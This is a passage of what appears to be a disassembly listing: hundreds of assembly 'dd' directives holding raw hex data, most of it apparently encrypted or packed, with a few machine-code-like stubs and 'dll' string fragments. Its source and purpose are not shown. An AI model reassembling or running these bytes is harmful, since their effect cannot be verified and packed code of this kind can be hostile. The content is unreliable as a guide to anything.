		dd 9D500BE5h, 87597F5Ch, 5F39F846h, 0EAFF8C61h,	0FCAFFC41h
		dd 0BC8E8A67h, 0EF0C4BFDh, 237F067h, 1DAF946h, 0E0B66CEFh
		dd 2105F128h, 0F8D55145h, 745329E0h, 37339E06h,	4EB12825h
		dd 0C91D97A6h, 580DCCB4h, 52C08229h, 3F249E16h,	35EC8767h
		dd 90472B63h, 8C4A0D9h,	0EFA3DC91h, 0E0FA2FD8h,	7E1AE1EBh
		dd 7A318F9Ch, 5A4C2145h, 738D4E65h, 26108BB8h, 4AEF6B94h
		dd 5E22D66Ah, 0F0871004h, 0EA00000Bh, 0D2490548h, 0F067E31Ah
		dd 0CD4C0039h, 0DA61DD1Ah, 4543F736h, 0DA19CB39h, 0F536D75Eh
		dd 0D10CC239h, 0F025DE5Dh, 0BC6F513Ch, 6BDA0906h, 323B01DEh
		dd 63504479h, 0B6758754h, 67FC16ADh, 4813ED49h,	0B7BB67A2h
		dd 0EF0C4D00h, 6638F067h, 0FB9A86BFh, 5320E45h,	0B3EF7764h
		dd 1995B1CFh, 98B2EBA2h, 0F6996B21h, 0F6C09DB9h, 1EBD5C70h
		dd 2C5C5D4Ch, 0EE6A67FCh, 6EA95DDCh, 0DDCC9E82h, 9423AC65h
		dd 0D6C8A581h, 23AC378Fh
		dd 69DD694h, 7B660AE3h,	82EA39h, 32600000h, 384F437Ah
		dd 2EAD5990h, 51483C79h, 9BE8649Bh, 0E61BC47Ch,	401A363Ah
		dd 0FC0E4C49h, 3DF16867h, 58552F9h, 0EFD31791h,	2B4328DAh
		dd 917D2888h, 6C6207EBh, 224A077Eh, 0B196172h, 73130000h
		dd 47FD7C30h, 681D9C10h, 47FC7B2Fh, 25C74E0Ah, 87472E6h
		dd 43F736DAh, 5CD011B4h, 3AEE29DDh, 5BCF04BBh, 259D8C70h
		dd 0C16BDA0Ah, 4D758E4h, 2A5245Dh, 752BA8C5h, 54198A3Eh
		dd 73000000h, 4F437A32h, 76885362h, 0FC1226B3h,	0BB6EC067h
		dd 94239607h, 0FA5F83DFh, 4A0737CEh, 0B4C3D4C0h, 0AE00000Ah
		dd 7605B9FCh, 942397CEh, 81F8B4EDh, 9E1D91CEh, 392FABEAh
		dd 0AEED9FCDh, 89CA7BFAh, 65A046D5h, 84B972E9h,	30DBE5C8h
		dd 6BDA0A92h, 0D7AF7572h, 0A5245D04h, 29B2C700h, 4D334D82h
		dd 0CC7CE45Eh, 4724006Dh, 52874057h, 5B7C5378h,	41961BDBh
		dd 6C4B7A2Ch, 4ABD10D5h, 489D336Ah, 0EF000002h,	225F04D7h
		dd 9D4C7145h, 0ABC516h,	67FC2063h, 7B2CA783h, 88987824h
		dd 37499221h, 0A4318F74h, 16156761h, 6D8457ACh,	0F608EC48h
		dd 2A7CBE63h, 0FBF2350Eh, 0CAA65A76h, 0F504F1ADh, 0A14514E6h
		dd 0A1B6BA66h, 0CCBFA1BFh, 6D843976h, 0CEB5928Eh, 67B3C4EEh
		dd 1E401A16h, 5FF4F42Dh, 0ACC188A3h, 2943782Fh,	0DDCCFBB2h
		dd 97F8C865h, 0ACC1A581h, 0C7FCA332h, 0DC699022h, 3DA67E49h
		dd 9D3h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h, 38F431D6h, 5CD00FC1h
		dd 2CE0126Eh, 47EA71EDh, 1FC35206h, 3AF168E4h, 5A664905h
		dd 0DA0B13AFh, 2EF6F36Bh, 4D3A7A32h, 0E5020E3Eh, 98927E62h
		dd 4A8F28B3h, 0CC6CE35Fh, 4227036Dh, 0F9CE2696h, 0BC8E4D6Ch
		dd 59D6A9A2h, 22B24689h, 3C685E45h, 0F87467F6h,	8B41F8E6h
		dd 0A7C4A054h, 8438792Ch, 5F1354F5h, 8A38F30Dh,	6A942604h
		dd 6D8CD9EEh, 10AD5C6Eh, 0EE9E165Fh, 30E15872h,	9F0DDEFh
		dd 5DCB4EBDh, 7FF6C09Dh, 2998DCEh, 35A71449h, 0FB403252h
		dd 92DBA2Bh, 87270000h,	5B118844h, 7C31A824h, 5B108743h
		dd 792BAA1Eh, 7C887E3Ah, 9F1B5A0Eh, 78347518h, 96124D01h
		dd 7733681Fh, 4101A894h, 0A56BDA04h, 0CBE07C48h, 6DCC7C6Fh
		dd 4B8F26DDh, 0E99DDC90h, 0EB087084h, 0FBD7E391h, 1CBB48DEh
		dd 0D8D3ADBFh, 6DCC4F6Ah, 154EF38Ah, 0CE10561h,	9B4F0AF4h
		dd 9BB0B460h, 0FC1457F0h, 99B3AF67h, 76326B22h,	73CFBAA4h
		dd 93943C74h, 9423C297h, 0C383547h, 1BA76279h, 0FB943CD8h
		dd 61E63A1Fh, 9497697Eh, 9E0AD288h, 0AF2A4420h,	9007C3F8h
		dd 266507D7h, 0B909007Ah, 5D9E11B5h, 5C01E501h,	4035144Eh
		dd 78435440h, 72000008h, 3AC17DC0h, 58DF5B92h, 35C478B1h
		dd 62D95592h, 0CDBB6FAEh, 62A143B1h, 7DBE6FE6h,	59943AC1h
		dd 78AD56E5h, 34F7C9C4h, 6BDA048Eh, 2C38966h, 6DCC7C44h
		dd 41FD32D9h, 0F406D5E4h, 9B87C065h, 0EB9EC297h, 67FCCAD6h
		dd 441A3430h, 23CDFD45h, 431D1994h, 23CDFA48h, 293E1A94h
		dd 0A3DE8457h, 0BFFAB027h, 80DC2D3h, 5C3A0000h,	324C1EBDh
		dd 0CC7CCB77h, 1A2F2B6Dh, 186E4346h, 0CCA867FCh, 983591D8h
		dd 9BD89423h, 5210E104h, 76F0397Bh, 5A000001h, 55417C32h
		dd 9E529336h, 314B8027h, 7CE65C4Fh, 22FE6DCCh, 8C425945h
		dd 0A85EDD51h, 0B24CB96Dh, 0A258532Dh, 426DCC7Ch, 19A83AE6h
		dd 32D9607Ah, 4E72AB62h, 32A9BEA2h, 0E8D417Ch, 1D431D58h
		dd 0CC7CD46Eh, 1734306Dh, 7D8E4067h, 0E59C6DCCh, 843E74Eh
		dd 0F2EDEF54h, 838931D8h, 725B9233h, 0C68556D6h, 114AFF62h
		dd 10621835h, 0BB6AA549h, 9233E707h, 0B35F83DFh, 5EE4A7B9h
		dd 0B69233E7h, 0E45FBBAh, 72E9FE62h, 4BCA7EBFh,	0D3AD599Ah
		dd 762A5F08h, 0E7BD0504h, 0DD599233h, 9E24E7F9h, 769233E7h
		dd 0AD56DDFAh, 671A8C78h, 0ECC869C8h, 0A047FE33h, 97BBB76Bh
		dd 7D4DF6C5h, 80E490C7h, 7819B064h, 783E1B37h, 0CD745001h
		dd 0EFC4B094h, 5939EAE8h, 76C9EE1Ah, 18B9805Ah,	35472BD7h
		dd 3367CC76h, 2F4C2892h, 0A6D6249h, 0FD799803h,	0D617BA41h
		dd 9C43D52Ah, 7A67C7C2h, 0BE7D9423h, 9F9CE07h, 7E2D532Dh
		dd 94237AC4h, 77274420h, 0F63FD66Dh, 0E99D1C53h, 7A7BC7AEh
		dd 92799423h, 94237A30h, 0CCA858D4h, 371B5C0Dh,	0B2F39625h
		dd 0F79A2195h, 0E970CAB6h, 1A160A45h, 0B919A03Dh, 98FBEF58h
		dd 0DAF4D0B5h, 0AB5FDA04h, 0F9A08470h, 94235B49h, 51FAB1ADh
		dd 0BB443F1Ch, 539E1323h, 0C27963D7h, 5493350Dh, 0CBA08470h
		dd 0A01C5D10h, 7E3A7519h, 1EBD5CE8h, 1A7324Ch, 7D5AD6CAh
		dd 0FC2B3986h, 0AD59D567h, 44FEADD3h, 0A09423ADh, 266105C4h
		dd 5AE1F67Ah, 3C8685B2h, 0D89423ADh, 6566785Ch,	309523CAh
		dd 9F173424h, 25C05C09h, 0CFB6EF96h, 6DCC7C73h,	0C7BB9793h
		dd 0CC7C26A0h, 17AEC56Dh, 6B35FFD2h, 0A97E6F33h, 25D4B2BDh
		dd 1DF96F8Ch, 53000000h, 4F437A32h, 0CC7CBA08h,	7211A06Dh
		dd 62D60DB3h, 0CC215FA3h, 0BA5A0B6Dh, 0B2FFFFFFh, 76447932h
		dd 4D7CFFDh, 0B548255Ch, 35ECBA21h, 222BF697h, 3F0B366Bh
		dd 81000000h, 8D1BC05Ch, 7C6ED4D7h, 0AA866DCCh,	32A9D71Ch
		dd 0A02C417Ch, 75437A32h, 0A9D78A42h, 0CC7C4002h, 0EE29DD6Dh
		dd 0A8E387FEh, 0DD5C78FCh, 1F03EF28h, 3E9F4Ah, 1AA10000h
		dd 0EA463A73h, 0C05C370Dh, 0D4D78D1Bh, 6DCC7C6Eh, 0F82FD564h
		dd 9ED98D0Ch, 0C813A5C2h, 3D0BE722h, 7F32A9D7h,	0D7A3293Eh
		dd 51265B04h, 1DABE28Ah, 4002A9D7h, 0A46DCC7Ch,	9038B3C8h
		dd 4E427B32h, 0CC7CBB07h, 7312A16Dh, 6C2FBB2h, 0C2ED3734h
		dd 0FE956672h, 1A0F42E9h, 3AAB6DCCh, 0FFFFF3D3h, 0F396D792h
		dd 19656CFBh, 0AF55DEFBh, 91786678h, 6DCCE631h,	0D005BED5h
		dd 47244024h, 38A3328Fh, 84C26326h, 0E03C67FCh,	4D96534h
		dd 873C943Ch, 0B1C40DE8h, 14A4397Ah, 0E6000000h, 0E40h
		dd 6B1E4000h, 6DCC7CD7h, 9686C368h, 5CE7BD9Ah, 0A3E083BDh
		dd 7D4F73EFh, 7D3109BEh, 0EE721E42h, 0CF0407D9h, 8767FC1Fh
		dd 0A14CF6B5h, 0CCA89423h, 27DDFCA8h, 4F8D3CF0h, 0D59423A1h
		dd 4B256006h, 23A1E260h, 51260294h, 97A0E48Ah, 66DCCF9Eh
		dd 7E942354h, 0C0FB5A2h, 855B7551h, 23283C86h, 235C1194h
		dd 73AE546Bh, 0AABFA37Fh, 0C601A534h, 0AFC49EDAh, 0EB47D14h
		dd 0B68557D3h, 4420D411h, 0BEF3AC27h, 237F0E7h,	26275923h
		dd 0A6BF2A98h, 2A1B677h, 0D409C263h, 0CE4E7F51h, 1152F38Ch
		dd 0FBDC0165h, 0C08C61FFh, 0EB221BF6h, 0E0FB30h, 5C510000h
		dd 0D78F1DC2h, 0CC7C6BD4h, 0E7B5A16Dh, 0ADC4A9D7h, 80DFAAAEh
		dd 0AD2A9893h, 4ECA6DCCh, 199D4572h, 224842B6h,	771A7F45h
		dd 348E7D63h, 0AE6DCC7Ch, 0CC7C47FBh, 0CBC39F6Dh, 7C10B259h
		dd 78F46DCCh, 32A57F5Ch, 0FD764479h, 1BC05CCFh,	0C4A9D78Dh
		dd 59DC7D7Fh, 0DA680F1Ch, 3A6DCCF1h, 6B5509DEh,	0F12C9695h
		dd 6CC86DCCh, 4D7B58Fh,	0F36F235Eh, 21E021D6h, 41C0366Bh
		dd 0A000000h, 0CB80C05Ch, 2E1251F3h, 0E802DE42h, 78EB4D03h
		dd 87EB97D2h, 0ACFCB462h, 0D4D7F5CFh, 6DCC7C6Eh, 22590F86h
		dd 48CEF26Eh, 7A32F5D7h, 8A427543h, 4002A9D7h, 0A46DCC7Ch
		dd 1636B3C8h, 86000000h, 8D1BC05Ch, 7C6ED4D7h, 0B0A46DCCh
		dd 32F5D7EAh, 4275437Ah, 5B04D78Ah, 0E1F67A26h,	0FFFF1768h
		dd 7932D4FFh
		dd 92395044h, 7584E15Dh, 0B4959466h, 5267FC11h,	0C37B2AD6h
		dd 22942396h, 0B6F7F291h, 96397B3Fh, 3Ch, 1EBD5CF4h, 7C745D4Ch
		dd 0FB9267FCh, 25170B48h, 3C7CDC66h, 183C3894h,	0A521483Ch
		dd 7A943C7Ch, 0A4BFED4h, 0E59B3AE6h, 0F685C2AEh, 0EB88715Fh
		dd 36409154h, 0EA20397Bh, 6A000000h, 50447932h,	0AC589739h
		dd 246599D2h, 6DB8FBF6h, 0E9FE37EEh, 47E9B972h,	9581B66Dh
		dd 0CAC1B591h, 0EB07EB22h, 0B2E7A037h, 336C2198h, 0E490D174h
		dd 34F36B80h, 6DCC22D6h, 4F0B40E7h, 53AF806Dh, 0AEE6C0A4h
		dd 0CC7347FBh, 9FC39F6Dh, 255A11CAh, 36CEFF71h,	0CEBB1D30h
		dd 0A62DD0ADh, 76451B35h, 0CCB794D1h, 67FC360Fh, 1DFFBBB7h
		dd 5AFA4843h, 351A943Ch, 66197E3Eh, 9DE0201h, 6C7E5D7Ch
		dd 0E724C792h, 6922373Bh, 9E0AFF51h, 14A7B9B5h,	0FE7D3170h
		dd 7FBA704Ah, 6B38F93h,	40354EE2h, 600F988Ch, 5A000002h
		dd 42B975B8h, 60D7538Ah, 3DBC70A9h, 0A914D8Ah, 0B5B32766h
		dd 2A691B49h, 458627AEh, 215C1289h, 40752EADh, 0EC9FA18Ch
		dd 6BDA0256h, 326B31AEh, 402D3F7Eh, 95D7A184h, 40F6D3A9h
		dd 61DD12B9h, 1EBD5CCBh, 0CB77324Ch, 2B6DCC7Ch,	9ACF782Fh
		dd 0F6C59BBDh, 8CC77B4Fh, 0CCB89C98h, 0BB989368h, 3967FC7Ch
		dd 0B794C982h, 0ECBB67C3h, 94238352h, 866302B1h, 397B372Bh
		dd 0D80Bh, 1A63500h, 321DA7C4h,	39504479h, 0D2AC5897h
		dd 7C45FDACh, 0B16C6DCCh, 0AB65AE9Fh, 4E2B07F7h, 0CCC6B555h
		dd 0ACE18A6Dh, 79304E30h, 6DCCBEC9h, 9F1C312Dh,	0F2BFB3E8h
		dd 23E6F8E3h, 67FCCDE6h, 934BBBA0h, 0DDA87F08h,	0D9E045F9h
		dd 572E04F9h, 0EDA1402Ch, 98B28EB2h, 161849B3h,	1C31E92Fh
		dd 0EB9F1A44h, 4673CFBAh, 9793943Ch, 34E59EBBh,	0D29E0A8Bh
		dd 13B58456h, 25E4FAD4h, 9E11F99Dh, 74A96279h, 0AEC0A480h
		dd 11F947FBh, 0A6C39F9Eh, 0C807A930h, 3558EB23h, 68712540h
		dd 143h, 8E4A8D3Dh, 0AE2A6107h,	95498227h, 0A8246106h
		dd 8C407F31h, 3CF0629Eh, 17BA41FDh, 2FD362D6h, 0AC138F4h
		dd 8A7659D5h, 0DA03239Fh, 5EE6C36Bh, 8B3F7E32h,	0AA1E530Ch
		dd 4479321Ch, 67923950h, 7C309279h, 58D46DCCh, 0CC7C11B1h
		dd 8883F56Dh, 6DCC7C3Ah, 7E627EDAh, 7D5E75CAh, 271FA863h
		dd 98D567FCh, 8AC6FC91h, 6DA5D1BAh, 498E17B6h, 0CE4A502Dh
		dd 9B27E2FCh, 7B94238Dh, 4980289Fh, 0D68D4C34h,	0F5AE2DA1h
		dd 0D8DFD4C0h, 3442E903h, 0D09E1911h, 0F117AB5Eh, 73EF9E15h
		dd 509AEA4Fh, 144031h, 9A97h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h
		dd 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh
		dd 54E35792h, 0C7C276ABh, 0FC8C36F5h, 8B686BDAh, 1EBD5CC1h
		dd 0E05D5D4Ch, 0D6967F6h, 0A41E0DF3h, 409425E0h, 0B86CA349h
		dd 6A2198BCh, 14661835h, 19CCA045h, 2C482CD8h, 54DFFC78h
		dd 33C276ABh, 0FCAB578Ch, 0C646447Bh, 0C160FFA0h, 40FBD50Ah
		dd 0C0A45089h, 0FBA433ABh, 7E60DAC6h, 463C378Bh, 7653CFA6h
		dd 0D9CD0ABDh, 949D34CFh, 7302B6EBh, 0FAEB97CCh, 3, 326D5F52h
		dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
		dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h,	81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 89522434h, 4C281E2h
		dd 83000000h, 148704EAh, 3C895C24h, 3D116824h, 34890000h
		dd 31B85024h, 8311BF34h, 0D140FFE8h, 1D22DE0h, 0C7891D68h
		dd 4EC8358h, 83242489h,	5E042404h, 8468F57h, 5E2434FFh
		dd 4C481h, 34FF0000h, 0C4835F24h, 0FEA6E904h, 9247FFF9h
		dd 7AB77EB7h, 16815DB8h, 50C50306h, 23E585C6h, 68470610h
		dd 0CF381725h, 1499B5FFh, 858D0610h, 6103A32h, 0D88BD0FFh
		dd 2B01858Dh, 68500610h, 104h, 85C6D3FFh, 61023E5h, 0F8BF6853h
		dd 0B5FF8307h, 6101499h, 3A32858Dh, 0D0FF0610h,	64708589h
		dd 0BD830616h, 6103105h, 0B840F00h, 8B000000h, 1020899Dh
		dd 5E906h, 0BB0000h, 68000000h,	100h, 6474B58Dh, 53560616h
		dd 24595FFh, 0B58D0610h, 6166474h, 1E9F003h, 4E000000h
		dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 74858D00h
		dd 50061664h, 647095FFh, 0FF580616h, 0E68F6EE0h, 0F12BE811h
		dd 14DA2B08h, 44E94Eh, 22410000h, 8C9332DDh, 0E89DE61Dh
		dd 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h
		dd 9 dup(0)
		dd 0E6E90000h, 68000006h, 6168410h, 0F9FD87E9h,	84D768FFh
		dd 7DE90616h, 68FFF9FDh, 616859Eh, 0F9FD73E9h, 868F68FFh
		dd 69E90616h, 68FFF9FDh, 616875Fh, 0F9FD5FE9h, 884968FFh
		dd 55E90616h, 1AFFF9FDh, 2793578h, 2097134Ah, 0FD7C3069h
		dd 0CA510D4Ah, 7573E726h, 0EA29DB09h, 546E76Eh,	0E11CD249h
		dd 35EE6Dh, 0AC5F614Ch,	6BDAFF16h, 0D72BF1EEh, 7F2A6104h
		dd 6DCC7CC3h, 772B4723h, 2863DEFBh, 0D9000000h,	2A447932h
		dd 0A5E28554h, 3C8675F1h, 0D86DCC7Ch, 0F3CF10C1h, 0FAB128D6h
		dd 0E46209C5h, 396DCC7Ch, 0CF0CBF95h, 5CB137F3h, 5D4C1EBDh
		dd 67FC0FB0h, 771ED24Eh, 942391CFh, 0FBFE952Eh,	397B48B2h
		dd 25192h, 0D7D2AC00h, 94239D6Bh, 0F2BA8F8Bh, 216004D7h
		dd 0DB5C724Ch, 0DECD9F3Ch, 67FC2045h, 99420561h, 5871781Ch
		dd 2B45961Dh, 3D3B9780h, 0D9F36F52h, 8571AC62h,	66DCCFA1h
		dd 7E427D5Dh, 0ECD9C5A2h, 4D3C0ECDh, 484AA06Fh,	342E675h
		dd 5E2F34E6h, 2B2F5B2h,	0F9C09AB6h, 94C98252h, 0EC6084E0h
		dd 0DC81B66Dh, 9A75CA5Eh, 12736430h, 22000005h,	2AB12D70h
		dd 88F4B82h, 25B42861h,	12894582h, 0BDAB1F5Eh, 32711341h
		dd 0D4EFF76h, 0E924CA51h, 83DE675h, 0A4675954h,	6BDAF81Eh
		dd 0D733F9F6h, 7A265B04h, 0B15AE1F6h, 0F869627Ch, 4D865B55h
		dd 0A81D09DEh, 0BBB0CA11h, 0FFCBF98Ch, 0D978654Eh, 3E767EA4h
		dd 3CEF11E6h, 67FCBDFFh, 21581087h, 59D5F175h, 0F05C4687h
		dd 0B082B803h, 0A7AD039Bh, 44307114h, 5B7A0BE0h, 26BB6E80h
		dd 9E9E0C93h, 1A2F641Bh, 0A2490C68h, 67913ACBh,	0CAA437BEh
		dd 487F25B4h, 0DA9F7833h, 0FB773CBEh, 0C01BBA07h, 43DDFBAEh
		dd 492532C9h, 0C6FBA437h, 53562812h, 22D340EFh,	854E2B07h
		dd 2C44A9DEh, 0E2FCF7C5h, 44BA132h, 0AB5B0000h,	0BF65F468h
		dd 0A045D488h, 0BF64F367h, 9D4FC682h, 80FCEA5Eh, 0EB5F9E52h
		dd 0C478B96Ch, 0E2569135h, 0C377AC53h, 8D35F4C8h, 696BDAF8h
		dd 7932C08Ch, 0E0D1733Bh, 0CEF26476h, 51863DFCh, 0FAACC1A5h
		dd 13EDEE05h, 989FC7DAh, 0F9B059B4h, 96D1956h, 0C81D0CF4h
		dd 5667FC9Bh, 75B255E4h, 3CFB3C86h, 785CD894h, 8D585FC4h
		dd 3CFB249Eh, 8064C094h, 79E0BB6Eh, 9E7A9E06h, 8327B2CCh
		dd 0A2BEF9ADh, 0DE5572EEh, 623CF025h, 0E1F635D7h, 2CE1B15Ah
		dd 3EFDCFF3h, 0DB574B8Ah, 24B300FEh, 0D0BBA5B7h, 9E167872h
		dd 63B19692h, 0FA25F406h, 4F3A1E3Bh, 94263642h,	1C5B0D84h
		dd 0D7EB9338h, 91855E22h, 38408h, 0AFF29400h, 8DC47CFBh
		dd 6AA34AD1h, 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh
		dd 38BF7BBCh, 54E35792h, 0C7C276ABh, 0F98C36F5h, 8B686BDAh
		dd 447932C1h, 87546350h, 5B9B675h, 3E5567FCh, 0DB574B8Ah
		dd 0D9C243F7h, 0EE000001h, 8AA91910h, 0D14D9423h, 0C41530FCh
		dd 306F2198h, 65A24544h, 0EB22CA81h, 0BF1E3B37h, 0B7C9A338h
		dd 0CC7C4EF4h, 0FBC1A66Dh, 248C5CB6h, 1D7F4D0h,	69A85CDFh
		dd 4F02B9BDh, 0D152390Eh, 0F567FCBDh, 0F10DBE79h, 0F0896109h
		dd 6D8F2E9h, 0FF9131D8h, 0F975697Fh, 540D07D4h,	8C6102FBh
		dd 4F0C629Fh, 56280463h, 0C3FCB128h, 6E8B6ED4h,	0CDAA8693h
		dd 6D5E4D1h, 994AF7F4h,	6CD1F011h, 9AC2698Fh, 6A995982h
		dd 1B111F8h, 0D9559542h, 0AF58E3FDh, 9037BE7Ah,	1ED207C0h
		dd 0DBB91E42h, 754B6684h, 29338A1h, 3A30000h, 0D78D0CC0h
		dd 0F8AD2CA0h, 0D78C0BBFh, 0F5971E9Ah, 0F80402B6h, 33A7E68Ah
		dd 0CC001A4h, 2A9ED98Dh, 0BBFF4ABh, 0D56D1C20h,	316BDAFAh
		dd 0A9D7E8B4h, 50447932h, 7C9D25D4h, 0FD796DCCh, 77AC53E0h
		dd 0A19F368Bh, 60C4B0EFh, 7ABF6A84h, 0C67FC12h,	0B6009C10h
		dd 2739A231h, 13C9FF64h, 0CA80179Eh, 637FE38Fh,	53AE6489h
		dd 2F9A35A9h, 6BEE9D1Ah, 0F66DF566h, 0BF0306DFh, 57093166h
		dd 0B80A01DBh, 5C093166h, 1F0AE400h, 30103E2h, 0F932D762h
		dd 4E421EE4h, 6BAC5DDCh, 316820B7h, 0EA53815h, 0D0F8B3CDh
		dd 3039177Ch, 0B7311A34h, 72D0BB19h, 92351519h,	35EBB196h
		dd 0B9805875h, 0DA61DD12h, 0BB4FFC31h, 0F5EB3159h, 1C3B821h
		dd 33D30000h, 7BD3CF0h,	28DD5CD0h, 7BC3BEFh, 0E5870ECAh
		dd 0C83432A6h, 3B7F69Ah, 1C90D174h, 0FAAEE99Dh,	1B8FC47Bh
		dd 0E55D4C30h, 16BDAFBh, 793218A4h, 0EDDE5044h,	6289BFCEh
		dd 9CE9FE17h, 728C5E7Dh, 0E6259D8Ch, 0CAC16DCCh, 3A36EA23h
		dd 954A4116h, 3167FC92h, 0A6A77935h, 1B97C0C0h,	98344921h
		dd 4C1EBD5Ch, 0F6FE185Dh, 0B0CAA667h, 1C570BCEh, 96CB743Fh
		dd 1453F5C4h, 4FF87F37h, 0B38FCC7Fh, 0EFE3F2BFh, 1FD246EFh
		dd 24C9F9DEh, 0C39DAF93h, 371455F8h, 1F93194Ch,	61BCA19Eh
		dd 7DB46CAEh, 7AC0AD89h, 0F00AE694h, 99A71B0Eh,	483F9E1Eh
		dd 6F8C68A1h, 4919D289h, 0BBB76BA4h, 0EB942397h, 0DEF5CAB6h
		dd 826EAF62h, 31A8C29Eh, 5028457Ah, 2EE06459h, 5A0B8294h
		dd 0ED096D19h, 2A258080h, 8D160E5Eh, 0D9h, 520649E9h, 72E61DC3h
		dd 49053EE3h, 6CE01DD2h, 40FC3BEDh, 18CC3E4Ah, 33D665D9h
		dd 0BBF36F2h, 26DD5CD0h, 6E523DF1h, 0DAF407BBh,	3A02DF6Bh
		dd 0E283BD5Ch, 6F236206h, 0D9F3CFF3h, 0F6FE0332h, 7B270367h
		dd 63943A01h, 25011AA8h, 421EFA94h, 0C0F5AE25h,	0A1D68D0Ch
		dd 50527BF5h, 4BB00F17h, 0E0F09BB0h, 3DC9EA03h,	0BD66CF66h
		dd 9E45D488h, 0F2699769h, 0AA18FF3Eh, 4AA8D182h, 0B50DFCCEh
		dd 51A8D182h, 3406F8D5h, 10C700A5h, 0D691D5Ch, 83C063F0h
		dd 0B9F98469h, 557E1366h, 0E3F82DD6h, 6302B123h, 0F130D467h
		dd 8F4C2105h, 0B027A3D8h, 5CCEC2F7h, 0D516B782h, 0EC564521h
		dd 8A8D1CAh, 0F4A0DF91h, 32D55470h, 482501F5h, 899h, 6E14A700h
		dd 5F8E1633h, 3D80326Dh, 64995249h, 3A7519B0h, 5D9E4F46h
		dd 3F7E32A9h, 51903453h, 448126A5h, 5B943950h, 417830A7h
		dd 5450CF55h, 40558h, 0E8830000h, 24048704h, 0E089505Ch
		dd 405h, 42D00h, 4870000h, 3C895C24h, 70E6824h,	0C890000h
		dd 1EB85024h, 0F70F8138h, 43BC0DD8h, 2D405D64h,	218A5FEEh
		dd 0E4FA2D40h, 5F50D5DDh, 0C8B5458h, 4C48324h, 4EC81h
		dd 3C890000h, 8418F24h,	592434FFh, 0FF04C483h, 835F2434h
		dd 0B9E904C4h, 80FFF9F6h, 6774E65Dh, 0F48589DEh, 0D3472AEFh
		dd 8947B8F0h, 0C5030616h, 89E9E0FFh, 83D737CCh,	0AEF03954h
		dd 0F7FE7B24h, 7B080A1Ch, 34650937h, 39712821h,	0D4384DECh
		dd 51B03A40h, 672E230Bh, 1B185E64h, 0FA7B13D8h,	874D1163h
		dd 0F9F9261Dh, 0B93D6F32h, 68B81876h, 0BFDE6488h, 71426F8h
		dd 4F1205Ch, 87EB1B37h,	5A404D2Eh, 966F512Ah, 2F095860h
		dd 1EAA240Ah, 0D720343Bh, 21B817B0h, 11E80DAFh,	3C000000h
		dd 0E9C702EFh, 0A9010129h, 0FCF2A1FAh, 2026B4BFh, 4F5C8EBBh
		dd 97BF5E2Ah, 8159EA2Bh, 5FD3C6h, 0FE86000h, 21000000h
		dd 77D21670h, 78195D6h,	90C7532Bh, 6160A328h, 3820F5Eh
		dd 66000000h, 2B61C88Bh, 0C38166D2h, 34FFAD9Ah,	0E959F932h
		dd 9, 8ED918ACh, 1845A44Ah, 0FE981D8h, 0F5D59CBh, 38Bh
		dd 0FBBF0F00h, 494FE981h, 8B665232h, 5DE981D9h,	895DE29Bh
		dd 0B0BF160Ch, 0F3F91D8h, 8Ah, 2EA8300h, 0F4A4AF5h, 0FA81D8BFh
		dd 0FFFFA0F4h, 19850Fh
		dd 0F88B0000h, 25E9h, 0C8EB3900h, 0EF020732h, 0BB55E828h
		dd 0B933E0F1h, 0F5F95A12h, 0FFFF8DE9h, 1ECF5CFFh, 7B49F7B4h
		dd 0AE078E6Ch, 25E947B4h, 5D000000h, 7B42ECh, 8	dup(0)
		dd 449E9h, 8C4E6800h, 31E90616h, 68FFF9F5h, 6168CCEh, 0F9F527E9h
		dd 8DF368FFh, 1DE90616h, 0E2FFF9F5h, 0EA71ED30h, 0C84F0B42h
		dd 0E574E821h, 0D2490542h, 7D6BDF1Eh, 0F231D301h, 0CD0EBF36h
		dd 0A9E48A11h, 0C8FDA635h, 64271914h, 6BDAF7DEh, 0D7F3B936h
		dd 6F235E04h, 0AB5DD6F3h, 0B259926Ch, 0C2BBA547h, 0B7CED0ADh
		dd 25FDB10h, 1316E8F3h,	67FCC48Eh, 0A7324C28h, 0F5B1C605h
		dd 3CC418A6h, 29C8FB94h, 7A7E01CCh, 2B4E139h, 152B0000h
		dd 8227B2BAh, 9182CE40h, 0A1C5249Bh, 0F233D6F5h, 4D6CF9CEh
		dd 0C68FBC8Eh, 1C258DFDh, 4B3E2237h, 67FC0CD6h,	845A74F0h
		dd 3C753D85h, 805DD994h, 0EB3708AFh, 0A3329159h, 32632638h
		dd 0CC9B76B3h, 0C84FA450h, 0E195D478h, 718F6185h, 0ED0A43EAh
		dd 86B9FE36h, 0E1919691h, 0C9927265h, 284137C1h, 0DAF6F26Ah
		dd 0B66AA95Bh, 87C496BAh, 0A8E1A77Ah, 0C197B415h, 0A01C51FAh
		dd 0E9A27219h, 483C7319h, 181C08ECh, 4A2D8F3Ch,	53434383h
		dd 27242h, 0FF42E400h, 0DD14CC4Bh, 0FA33DA61h, 0D714B73Eh
		dd 0F130D463h, 0C1334F3Dh, 0DD5CD00Fh, 0E86FEB2Ch, 0C4530742h
		dd 7772E61Bh, 0F03C8685h, 0DBD86BDAh, 15BD5C51h, 0A467670Bh
		dd 6DCCD61Eh, 7F4D7AF6h, 0EB05E191h, 0F6559A40h, 0DCEE6A67h
		dd 4E943702h, 87BE4095h, 0E3FDD9DFh, 261C9A28h,	0C99E7A94h
		dd 0DF845E12h, 4E72EEA2h, 6AA95BDAh, 1C54EFB6h,	40E79426h
		dd 62705E0Bh, 61E4A03h,	1F29Dh,	7FC26400h, 5D944CCBh, 7AB35AE1h
		dd 579437BEh, 71B054E3h, 41B3CFBDh, 5DDC508Fh, 68EF6BACh
		dd 44D387C2h, 0F7F2669Bh, 0F0BC0605h, 5B586BDAh, 83BD5CD1h
		dd 8D449DDDh, 39BA2B0Fh, 3927391Dh, 0E95314h, 8B603F04h
		dd 0F6E73AA0h, 0A24ECA67h, 25A94BF3h, 7A19AA94h, 81552E7Fh
		dd 1400E39h, 327C0000h,	39504479h, 0D20BC292h, 0AA1E421Eh
		dd 431DBE55h, 7B32301Dh, 0BE3DAA25h, 68D902A9h,	312D67FCh
